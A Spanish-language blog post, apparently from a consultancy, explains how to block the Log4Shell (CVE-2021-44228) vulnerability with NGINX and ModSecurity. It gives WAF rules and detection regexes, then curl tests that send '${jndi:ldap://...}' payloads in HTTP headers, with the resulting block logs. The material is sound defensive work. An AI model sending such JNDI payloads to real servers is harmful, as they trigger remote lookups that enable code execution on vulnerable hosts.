En este artículo te vamos a contar cómo protegerse de la vulnerabilidad de log4j con NGINX, para ello empezaremos con una pequeña introducción sobre que es Log4j y la importancia de proteger las APIs, posteriormente contaremos los pasos a seguir para detectar y bloquear vulnerabilidades con NGINX.
¿Qué es Log4j y por qué es importante portegerse de la vulnerabilidad de Log4j?
Qué es Log4j: Definición
Antes de comenzar a explicar los pasos a seguir para protegerse, es importante saber qué es Log4j. Se define como una herramienta común, utilizada para proyectos Java / J2EE a pequeña y gran escala. En Log4j utilizamos sentencias log en lugar de sentencias SOPL en el código para conocer el estado de un proyecto mientras se está ejecutando, por lo tanto cobra gran importancia en nuestros proyectos.
Importancia de protegerse de la vulnerabilidad de Log4j
A estas alturas la gran mayoría tiene muy claro que la ciberseguridad debe ser algo transversal en todos los procesos de una organización y sobre todo en los procesos expuestos a terceros como pueden ser las APIS, una afectación en estos servicios puede afectar gravemente a procesos de negocio, económicos etc.. y es por eso que la política o plan de ciberseguridad debe estar alineada en todos los procesos de la empresa tanto de negocio como los técnicos ya que tienen impacto directo.
En esta ocasión no vengo a contaros de qué va la vulnerabilidad de log4j porque existen multitud de publicaciones haciendo referencia a eso y seguro que ya todos lo sabéis.
Si recordáis la última vez que os hablé de ciberseguridad y cómo podemos proteger las apis expuestas os contaba algunos consejos y algunas opciones que existen gracias a la comunidad, concretamente os contaba que NGINX tiene la posibilidad de incorporar un módulo de WAF “web application firewall” llamado Modsecurity, que nos puede ayudar gracias a las reglas de la comunidad a proteger las apis de negocio o servicio de ataques de SQLi, XSS, etc..
Este artículo puede interesarte: Cómo configurar NGINX como WAF con ModSecurity.
NGINX cuenta en su blog las diferentes opciones que proporcionan para proteger las aplicaciones Java vulnerables que tenéis en vuestra infraestructura o en cloud.
Cómo añadir a NGINX las reglas para detectar y bloquear vulnerabilidades
Pasos a seguir para protegerse de la vulnerabilidad Log4j
Los pasos a seguir para añadir a nuestro NGINC con WAF y ModSecurity en funcionamiento las reglas para detectar y bloquear este tipo de ataques son los siguientes:
1.Primero debemos tener presente y actualizadas nuestras reglas, para ello podemos ir a https://github.com/coreruleset/coreruleset y descargarlas o actualizar nuestras reglas.
Coreruleset.org menciona que la regla CRS 932130 permite detectar exploits conocidos enviados por parámetros por métodos POST o GET, sin embargo, esta regla no inspecciona datos de las cabeceras HTTP también llamados en inglés “HEADERS” y por lo tanto debido a la cantidad de ataques analizados detectaron que esa regla no era la adecuada e incluyeron el CVE-2021-45105.
Por ello indican que una rápida solución es incluir la inspección de las cabeceras HTTP “User-Agent” entre otras, para aplicar esta solución hay que añadir 2 directivas:
# Defense against CVE-2021-44228 SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:User-Agent" SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:Referer"
Al ser una solución rápida quizás pueda generar algún falso positivo.
2. Recomendamos extender la configuración a todas las cabeceras HTTP con esta directiva:
# Defense against CVE-2021-44228 SecRuleUpdateTargetById 932130 "REQUEST_HEADERS"
3. Ahora debemos añadir las anteriores directivas en un nuevo archivo de configuración en el directorio /usr/local/nginx/conf/owasp-crs/rules/xxxxx.conf.
4. A continuación añadiremos la siguiente regla con id 1005.
# Generic rule against CVE-2021-44228 (Log4j / Log4Shell) # See https://coreruleset.org/20211213/crs-and-log4j-log4shell-cve-2021-44228/ SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx (?:${[^}]{0,4}${|${(?:jndi|ctx))" \ "id:1005,\ phase:2,\ block,\ t:none,t:urlDecodeUni,t:cmdline,\ log,\ msg:'Potential Remote Command Execution: Log4j CVE-2021-44228', \ tag:'application-multi',\ tag:'language-java',\ tag:'platform-multi',\ tag:'attack-rce',\ tag:'OWASP_CRS',\ tag:'capec/1000/152/137/6',\ tag:'PCI/6.5.2',\ tag:'paranoia-level/1',\ ver:'OWASP_CRS/3.4.0-dev',\ severity:'CRITICAL',\ setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\ setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
5. También podemos añadir a continuación las 2 reglas siguientes que han sido proporcionadas por la comunidad.
# Generic rule against CVE-2021-44228 (Log4j)
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx ${[^}]*${" \
"id:1000,\
phase:2,\
block,\
t:none,t:urlDecodeUni,t:cmdline,\
log,\
msg:'Potential Remote Command Execution: Log4j CVE-2021-44228', \
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.4.0-dev',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
# Targetted rule against CVE-2021-44228 (Log4j)
# Can be evaded
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx ${jndi:(?:ldaps?|iiop|dns|rmi)://" \
"id:1001,\
phase:2,\
block,\
t:none,t:lowercase,t:urlDecodeUni,\
log,\
msg:'Remote Command Execution: Log4j CVE-2021-44228', \
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.3.x',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
# Targetted rule against CVE-2021-44228 (Log4j)
# Alternative generic regex
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx ${[\w${}\-:]*j[\w${}\-:]*n[\w${}\-:]*d[\w${}\-:]*i[\w${}\-:]*:.*}" \
"id:1002,\
phase:2,\
block,\
t:none,t:lowercase,t:urlDecodeUni,\
log,\
msg:'Remote Command Execution: Log4j CVE-2021-44228', \
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.3.x',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
Todas las reglas anteriores no son definitivas pero protegen temporalmente de la vulnerabilidad, esperamos saquen una versión estable y probada pronto, pero eso requiere tiempo y muchas pruebas para evitar falsos positivos.
Recordar que para comprobar la configuración antes de reiniciar debemos ejecutar “NGINX -t” este comando revisa si la configuración es correcta o no, si todo está correcto podemos proceder a aplicar los cambios con “service NGINX restart o systemctl restart NGINX”
Poniendo a prueba la regla
Aqui os enseñamos un ejemplo de pruebas por consola mostrando un intento de explotación de la vulnerabilidad, en el primer intento se muestra como el server responde Empty reply from server, lo que quiere decir que no nos ha bloqueado la nueva regla.
Una vez aplicados los cambios en el segundo intento se muestra como NGINX nos devuelve un 403 Forbidden.
jesusamoros@Jesuss-MBP ~ % curl -H 'User-Agent: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' -H 'X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' 'https://test.dominio.es'
curl: (52) Empty reply from server
jesusamoros@Jesuss-MBP ~ % curl -H 'User-Agent: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' -H 'X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' 'https://test.dominio.es'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
Para las pruebas podéis ayudaros de https://log4j-tester.trendmicro.com.
Logs detectados
Aquí se muestran los logs tanto del proxy como los de ModSecurity y en función de cómo formulemos la explotación nos detectaron unas reglas u otras.
==> /var/log/nginx/log_access.log <==
2x.71.x98.10x - - [22/Dec/2021:17:31:19 +0100] - "-" - "-"-"test" "GET / HTTP/1.1"403 146 "-" "${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}""-" "-" - "GET / HTTP/1.1" - "-" - "-"
[22/Dec/2021:17:31:19 +0100] 2x.71.x98.10x - - - test.dominio.es to: -: GET / HTTP/1.1 upstream_response_time - msec 1640190679.068 request_time 0.000
==> /var/log/nginx/modsec_audit.log <==
---vT7t0f8k---A--
[22/Dec/2021:17:31:19 +0100] 1640190679 217.71.198.104 49888 172.16.39.21 443
---vT7t0f8k---B--
GET / HTTP/1.1
Host: test.dominio.es
Accept: */*
User-Agent: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}
X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}
---vT7t0f8k---D--
---vT7t0f8k---E--
<html>\x0d\x0a<head><title>403 Forbidden</title></head>\x0d\x0a<body>\x0d\x0a<center><h1>403 Forbidden</h1></center>\x0d\x0a<hr><center>nginx</center>\x0d\x0a</body>\x0d\x0a</html>\x0d\x0a
---vT7t0f8k---F--
HTTP/1.1 403
Server: nginx
Date: Wed, 22 Dec 2021 16:31:19 GMT
Content-Length: 146
Content-Type: text/html
Connection: keep-alive
---vT7t0f8k---H--
ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?:$(?:\((?:\(.*\)|.*)\)|\{.*})|[<>]\(.*\))' against variable `REQUEST_HEADERS:X-Api-Version' (Value: `${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' ) [file "/usr/local/nginx/conf/owasp-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "327"] [id "932130"] [rev ""] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170} found within REQUEST_HEADERS:X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-b (27 characters omitted)"] [severity "2"] [ver "OWASP_CRS/3.4.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "172.16.39.21"] [uri "/"] [unique_id "1640190679"] [ref "o0,84v57,84t:cmdLineo0,84v57,84t:cmdLineo0,84v157,84t:cmdLine"]
ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `15' ) [file "/usr/local/nginx/conf/owasp-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "139"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [data ""] [severity "2"] [ver "OWASP_CRS/3.4.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "172.16.39.21"] [uri "/"] [unique_id "1640190679"] [ref ""]
---vT7t0f8k---I--
Conclusión
Se debe de entender que en la actualidad vivimos en un mundo tecnológico en constante cambio y que evoluciona muy rápido, por lo que un día nuestra empresa puede estar tranquila usando una librería Java creada por la comunidad, y al día siguiente que ésta sea la vulnerabilidad más explotada de todos los tiempos.
¿Y qué podemos hacer ante esto? Contar con un equipo profesional que esté preparado para ello y en Chakray tenemos equipos humanos preparados, entre los que yo me incluyo, en donde nuestro objetivo principal es dar una respuesta ágil a situaciones o incidentes como en la que nos encontramos actualmente.
Contáctanos y cuenta con un equipo multidisciplinar que trabaje con ahínco y con una gran variedad de herramientas que te permita estar alerta ante este tipo de situaciones y que cuente con la capacidad y experiencia en automatización para dar una gran respuesta en un corto periodo de tiempo, remediando ágilmente situaciones comprometidas.
Si quieres saber más al respecto, no dudes en contactarnos para obtener más información.